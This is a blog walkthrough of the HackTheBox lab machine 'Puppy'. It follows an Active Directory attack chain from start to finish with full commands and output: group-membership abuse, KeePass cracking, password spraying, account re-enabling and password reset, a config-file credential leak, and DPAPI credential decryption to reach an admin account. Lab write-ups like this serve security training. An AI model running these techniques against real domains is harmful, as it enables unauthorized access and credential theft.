Post

Puppy - HackTheBox

Puppy - HackTheBox

Puppy - with a key and lock? DPAPI dawg

Puppy is another assumed-breach scenario machine from HackTheBox, where low-privileged levi.james is given. I use this account to collect BloodHound data and enumerate ACLs. levi.james is a member of the HR group, which has GenericWrite over the Developers group. I abuse this to add myself to Developers, gaining access to the DEV share. The DEV share contains a recovery.kdbx backup file, which I crack to extract user credentials. Some credentials do not match the desired user, so I enumerate users via LDAP and match correct passwords. Password spraying reveals that credentials for ant.edwards. ant.edwards’s has GenericAll on adam.silver but account is disabled, I’ll enable it and reset his password. adam.silver has access to a site backup, which I analyze to discover the password of steph.cooper. Privilege escalation involves DPAPI, hinted by the box name Puppy and the Box Icon. steph.cooper has a second account steph.cooper_adm. I find the DPAPI master key and credentials in steph.cooper’s files, transfer them to my machine, and decrypt the admin credentials.

Recon as levi.james

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

As this is a assumed-breached box, I’ll skip the nmap and straight generating hosts file with nxc and collect bloodhound data and load it up in BloodHound-CE Docker.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  Puppy nxc smb 10.10.11.70 --generate-hosts-file hosts
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
➜  Puppy cat hosts | sudo tee -a /etc/hosts
[sudo] password for simon:
10.10.11.70     DC.PUPPY.HTB PUPPY.HTB DC
➜  Puppy bloodhound-ce-python  -u 'levi.james'  -p 'KingofAkron2025!' -c All -d PUPPY.HTB --nameserver 10.10.11.70 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 01M 03S
INFO: Compressing output into 20250926155705_bloodhound.zip

There are some warnings which doesn’t really matter.

DEV - SMB

Enumeration

Enumerating the SMB shares I don’t see any that stands out but DEV which I don’t have access to.

1
2
3
4
5
6
7
8
9
10
11
12
➜  Puppy nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share

Looking at bloodhound, the outbound controls of levi.james are interesting. levi.james is member of HR and this group has GenericWrite over Developers group. I’ll add myself as levi.james to this group. I’ll show the both ways of doing it.

Adding levi.james to Developers Group

ldapmodify:

To add levi.james in Developers group, there are hand full of tools to do it. Such as Apache Directory Studio or such other automated tools. But with ldapmodify it’s as follow.

First I’ll lookup the distinguished name of the Developers group which I can do as follow.

1
2
3
4
5
6
7
➜  Puppy ldapsearch -x -H ldap://10.10.11.70 -D "[email protected]" -w 'KingofAkron2025!' -b "DC=PUPPY,DC=HTB" "(cn=DEVELOPERS)" dn
<SNIP>

# DEVELOPERS, PUPPY.HTB
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB

<SNIP>

Having the distinguished name of Developers group, I’ll create a LDIF file and add levi.james to Developers group.

1
2
3
4
5
6
7
8
➜  Puppy cat > levidev.ldif << 'EOF'
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
EOF
➜  Puppy ldapmodify -x -H ldap://10.10.11.70 -D "[email protected]" -w 'KingofAkron2025!' -f levidev.ldif
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"

net rpc:

I can do the same with net from samba-utils and it doesn’t return any output meaning it levi.james was added to Developers group successfully.

1
2
➜  Puppy net rpc group addmem "Developers" "levi.james" -U "PUPPY.HTB"/"levi.james"%'KingofAkron2025!' -S "DC.PUPPY.HTB"
Could not add levi.james to Developers: NT_STATUS_MEMBER_IN_GROUP

bloodyAD:

I can do the same steps with bloodyAD which is very handy tool and checkout this cheetsheet by ADMinions.

1
2
➜  Puppy bloodyAD --host DC.PUPPY.HTB -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' add groupMember 'Developers' 'levi.james'
[+] levi.james added to Developers

DEV Share

Being member of Developer group gave levi.james READ access to DEV share.

1
2
3
4
5
6
7
8
9
10
11
12
➜  Puppy nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share

I can quickly check what’s inside the share.

1
2
3
4
5
6
7
8
➜  Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "ls"
  .                                  DR        0  Fri Sep 26 22:41:12 2025
  ..                                  D        0  Sat Mar  8 16:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 07:09:12 2025
  Projects                            D        0  Sat Mar  8 16:53:36 2025
  recovery.kdbx                       A     2677  Wed Mar 12 02:25:46 2025

		5080575 blocks of size 4096. 1619614 blocks available

KeePassXC is installed on machine and recovery.kdbx which I’ll download is interesting while Projects folder is empty.

1
2
3
4
5
6
7
8
9
➜  Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "get recovery.kdbx"
getting file \recovery.kdbx of size 2677 as recovery.kdbx (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
➜  Puppy ls recovery.kdbx
recovery.kdbx
➜  Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "cd Projects; ls"
  .                                   D        0  Sat Mar  8 16:53:36 2025
  ..                                 DR        0  Fri Sep 26 22:41:12 2025

		5080575 blocks of size 4096. 1619614 blocks available

It’s password protected as always, I’ll use keepass2john and crack the hash with john. But keepass2john gives me an error.

1
2
➜  Puppy keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!

While googling around, someone from our team shared this bash script that brute forces the passwords.

I’ll clone it onto my machine and run it. It’s really slow but eventually I get the password.

1
2
3
4
5
6
7
8
➜  Puppy ./keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 36/14344392 - Attempts per minute: 67 - Estimated time remaining: 21 weeks, 1 days
[+] Current attempt: liverpool

[*] Password found: liverpool

Auth as ant.edwards

To dump the password, I’ll do it this way.

1
2
3
4
5
6
7
8
➜  Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx
Enter password to unlock recovery.kdbx:
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"

Output is real messy but I can use some GPT KungFu + bash KungFu to print it nicely.

1
2
3
4
5
6
7
8
➜  Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); gsub(/"/,"",$4); print tolower($2) " : " $4}'

Enter password to unlock recovery.kdbx:
jamie williamson : JamieLove2025!
adam silver : HJKL2025!
antony c. edwards : Antman2025!
steve tucker : Steve2025!
samuel blake : ILY2025!

Some GPT + Bash KungFu

I’ll create a users list matching the domain naming convention and a password list from above output.

1
2
➜  Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); name=tolower($2); gsub(/\./,"",name); gsub(" ",".",name); print name}' > users.txt
➜  Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); gsub(/"/,"",$4); print $4}' > pass.txt

I’ll test these with nxc. but none of those would work since those are not usernames but rather Names.

1
2
3
4
5
6
7
8
9
10
➜  Puppy nxc smb 10.10.11.70 -u users.txt -p pass.txt
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\antony.c.edwards:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\steve.tucker:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\samuel.blake:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\jamie.williamson:HJKL2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
<SNIP>

I can quickly grab the actual users with ldapsearch and test the passwords against valid usernames list.

1
2
3
4
5
6
7
8
9
10
11
12
➜  Puppy ldapsearch -x -H ldap://10.10.11.70 -D 'PUPPY\levi.james' -w 'KingofAkron2025!' -b 'DC=PUPPY,DC=HTB' '(objectClass=user)' sAMAccountName | awk -F': ' '/sAMAccountName:/ {print $2}' > users.txt
➜  Puppy cat users.txt
Administrator
Guest
DC$
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

The difference is clear, some usernames are not even on the list now. at this point I can guess that which password goes for which user. but I’ll still run nxc to verify the correct and working one.

1
2
➜  Puppy nxc smb 10.10.11.70 -u users.txt -p pass.txt | grep -i "[+]"
SMB                      10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

ant.edwards does not have WinRM access, sadly.

1
2
3
➜  Puppy nxc winrm 10.10.11.70 -u ant.edwards -p 'Antman2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [-] PUPPY.HTB\ant.edwards:Antman2025!

Shell as adam.silver

The outbounds of ant.edwards user are interesting, similar to what I saw for levi.james, ant.edwards is member of Senior Developers group who has GenericAll on adam.silver who is member of Remote Management Users group meaning I can WinRM as adam.silver.

but the account of adam.sliver is disabled.

enabling account

I can enable adam’s account via bloodyAD.

bloodyAD

1
2
3
4
5
6
➜  Puppy dc=DC.PUPPY.HTB
➜  Puppy domain=PUPPY.HTB
➜  Puppy username=ant.edwards
➜  Puppy password='Antman2025!'
➜  Puppy bloodyAD -u $username -p $passsword --host $dc -d $domain remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

ldapmodify

I can use ldapmodify to enable the account the other way.

1
2
3
4
5
6
7
8
9
10
11
# Create LDIF to enable account
➜  Puppy cat > enable_adam.ldif << EOF
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
EOF

# Apply the change
➜  Puppy ldapmodify -x -H ldap://10.129.243.152 -D 'PUPPY\ant.edwards'  -w 'Antman2025!' -f enable_adam.ldif
modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"

Password Reset

bloodyAD

1
2
➜  Puppy bloodyAD --host $dc -d $domain -u $username -p $password set password adam.silver 'n3wSk1d@htb'
[+] Password changed successfully!

net rpc

1
➜  Puppy net rpc password "adam.silver" "n3wSk1d@htb" -U "PUPPY.HTB"/"ant.edwards"%'Antman2025!' -S "DC.PUPPY.HTB"

And password is successfully changed.

1
2
3
➜  Puppy nxc winrm DC.PUPPY.HTB -u adam.silver -p 'n3wSk1d@htb'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\adam.silver:n3wSk1d@htb (Pwn3d!)

I can grab the user.txt.

1
2
3
4
5
6
7
8
9
10
➜  Puppy evil-winrm-py -i DC.PUPPY.HTB -u adam.silver -p 'n3wSk1d@htb'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'DC.PUPPY.HTB:5985' as 'adam.silver'
evil-winrm-py PS C:\Users\adam.silver\Documents> type ..\Desktop\user.txt
32d562c3da3dbe3........

Shell as steph.cooper

Nothing too important in Documents of adam.silver.

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force


    Directory: C:\Users\adam.silver\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hsl         2/19/2025   5:01 AM                My Music
d--hsl         2/19/2025   5:01 AM                My Pictures
d--hsl         2/19/2025   5:01 AM                My Videos
-a-hs-         2/28/2025  12:31 PM            402 desktop.ini

Looking for C:\ there is a backup folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-         2/28/2025  12:31 PM                $Recycle.Bin
d--h--         5/12/2025   5:29 PM                $WinREAgent
d-----          5/9/2025  10:48 AM                Backups
d--hsl         2/19/2025  11:32 AM                Documents and Settings
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/24/2025  12:25 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d--h--         5/14/2025   9:53 AM                ProgramData
d--hs-         2/19/2025  11:32 AM                Recovery
d-----          3/8/2025   9:00 AM                StorageReports
d--hs-          3/8/2025   9:00 AM                System Volume Information
d-----         9/26/2025  10:10 AM                temp
d-r---          3/8/2025   8:52 AM                Users
d-----         9/26/2025   4:55 PM                Windows
-a-hs-         9/26/2025  10:08 AM          12288 DumpStack.log.tmp
-a-hs-         9/26/2025  10:08 AM      536870912 pagefile.sys

It contains backup of a site.

1
2
3
4
5
6
7
8
9
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force C:\Backups


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

I’ll move it to C:\temp and expand the archive.

1
*Evil-WinRM* PS C:\Users\adam.silver\Documents> Expand-Archive -Path "C:\Backups\site-backup-2024-12-30.zip" -DestinationPath "C:\temp\backup"

I’ll Select-String (grep on windows) to look for password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\adam.silver\Documents> Get-ChildItem -Path "C:\temp\backup" -Recurse -File | Select-String -Pattern "password"


C:\temp\backup\puppy\nms-auth-config.xml.bak:8:        <bind-password>ChefSteph2025!</bind-password>
C:\temp\backup\puppy\assets\css\main.css:2106:	form input[type="password"],
C:\temp\backup\puppy\assets\css\main.css:2118:		form input[type="password"]:focus,
C:\temp\backup\puppy\assets\css\main.css:2126:	form input[type="password"],
<SNIP>
define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
C:\temp\backup\puppy\assets\js\util.js:366:		// Password.
C:\temp\backup\puppy\assets\js\util.js:367:			$this.find('input[type=password]')
C:\temp\backup\puppy\assets\js\util.js:376:									.replace(/type="password"/i, 'type="text"')
C:\temp\backup\puppy\assets\js\util.js:377:									.replace(/type=password/i, 'type=text')
C:\temp\backup\puppy\assets\js\util.js:437:					$this.find('input[type=text],input[type=password],textarea')
C:\temp\backup\puppy\assets\js\util.js:476:								case 'password':
C:\temp\backup\puppy\assets\sass\main.scss:638:		input[type="password"],
C:\temp\backup\puppy\assets\sass\main.scss:654:		input[type="password"],

I see a password but output is too long. password is in nms-auth-config.xml.bak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Users\adam.silver\Documents> type C:\temp\backup\puppy\nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Password is for user steph.cooper : ChefSteph2025!.

1
2
3
4
5
6
➜  ~ nxc smb DC.PUPPY.HTB -u steph.cooper -p 'ChefSteph2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
➜  ~ nxc winrm DC.PUPPY.HTB -u steph.cooper -p 'ChefSteph2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

Credentials are valid and works over WinRM.

Shell steph.cooper_adm

Enumeration

During the inital enumeration, I noticed that there are two administrator accounts. From which Administrator is Built-in and steph.cooper_adm is steph_cooper’s administrator account. Something similar to Vintage Box and I had to decrypt DPAPI creds.

Box Name and Icon: Box’s name being “PUPPY” and a dog with key and lock? Indeed DPAPI.

DPAPI

Via RunasCs [Fail]

I can check that with cmdkey /l but it would not work since the Evil-WinRM session is not intreactive.

1
2
3
4
5
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> cmdkey /l

Currently stored credentials:

* NONE *

However I can try the samething what 0xdf tried on vintage, on Vintage it didn’t work since defender was on. But it never hurts try it out.

But it does not work here either.

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 2 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"
[-] RunasCsException: Selected logon type '2' is not granted to the user 'steph.cooper'. Use available logon type '3'.
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 3 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"
[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '3'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.
[-] RunasCsException: Selected logon type '2' is not granted to the user 'steph.cooper'. Use available logon type '3'.
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 9 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"


Currently stored credentials:

* NONE *

impacket-dpapi

I can look for DPAPI maskter-key and cred blob with this one liner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> $searchDir="C:\Users"; Get-ChildItem $searchDir | % { "========== $($_.Name) - Master Key ========="; @("$searchDir\$($_.Name)\AppData\Roaming\Microsoft\Protect","$searchDir\$($_.Name)\AppData\Local\Microsoft\Protect") | % { Get-ChildItem -Directory -Force $_ -ErrorAction SilentlyContinue | % { $_.FullName; Get-ChildItem -Force $_.FullName -ErrorAction SilentlyContinue | % { $_.FullName } } }; "========== $($_.Name) - Secret ========="; Get-ChildItem -Force "$searchDir\$($_.Name)\AppData\Roaming\Microsoft\Credentials" -ErrorAction SilentlyContinue | % { $_.FullName } }

========== adam.silver - Master Key =========
========== adam.silver - Secret =========
========== Administrator - Master Key =========
========== Administrator - Secret =========
========== ant.edwards - Master Key =========
========== ant.edwards - Secret =========
========== Public - Master Key =========
========== Public - Secret =========
========== steph.cooper - Master Key =========
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\Preferred
========== steph.cooper - Secret =========
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
========== steph.cooper_adm - Master Key =========
========== steph.cooper_adm - Secret =========

I’ll download the file via Evil-Winrm but it fails. I’ll convert it to base64 and move it onto my box.

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407

Info: Downloading C:\Users\steph.cooper\Documents\C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407 to C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407
/var/lib/gems/3.1.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...

Error: Download failed. Check filenames or paths

Cred file:

1
2
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVX<SNIP>waSc

Masterkey file:

1
2
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQ<SNIP>ok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

I’ll copy these into each file and decode them.

1
2
3
4
5
6
➜  DPAPI ls
cred.bin.b64  masterkey.bin.b64
➜  DPAPI cat cred.bin.b64 | base64 -d > cred.bin
➜  DPAPI cat masterkey.bin.b64 | base64 -d > masterkey
➜  DPAPI ls
cred.bin  cred.bin.b64  masterkey.bin  masterkey.bin.b64

Now I can use impacket’s dpapi.py script to decrypt the Creds. I can grab the SID from bloodhound or from above output of oneliner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  DPAPI dpapi.py masterkey -file masterkey.bin -password 'ChefSteph2025!' -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107'
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

With that decrypted masterkey I can now retrieve the credentials in cred.bin.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  DPAPI dpapi.py credential -file cred.bin -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

The creds are valid and works for the steph.cooper_adm, bloodhound has also marked this user with Diamond. Indeed this user is an administrator account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
➜  DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
➜  DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x "whoami /priv"
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
WINRM       10.10.11.70     5985   DC               [+] Executed command (shell type: cmd)
WINRM       10.10.11.70     5985   DC
WINRM       10.10.11.70     5985   DC               PRIVILEGES INFORMATION
WINRM       10.10.11.70     5985   DC               ----------------------
WINRM       10.10.11.70     5985   DC
WINRM       10.10.11.70     5985   DC               Privilege Name                            Description                                                        State
WINRM       10.10.11.70     5985   DC               ========================================= ================================================================== =======
WINRM       10.10.11.70     5985   DC               SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
WINRM       10.10.11.70     5985   DC               SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
WINRM       10.10.11.70     5985   DC               SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
WINRM       10.10.11.70     5985   DC               SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
WINRM       10.10.11.70     5985   DC               SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
WINRM       10.10.11.70     5985   DC               SeSystemProfilePrivilege                  Profile system performance                                         Enabled
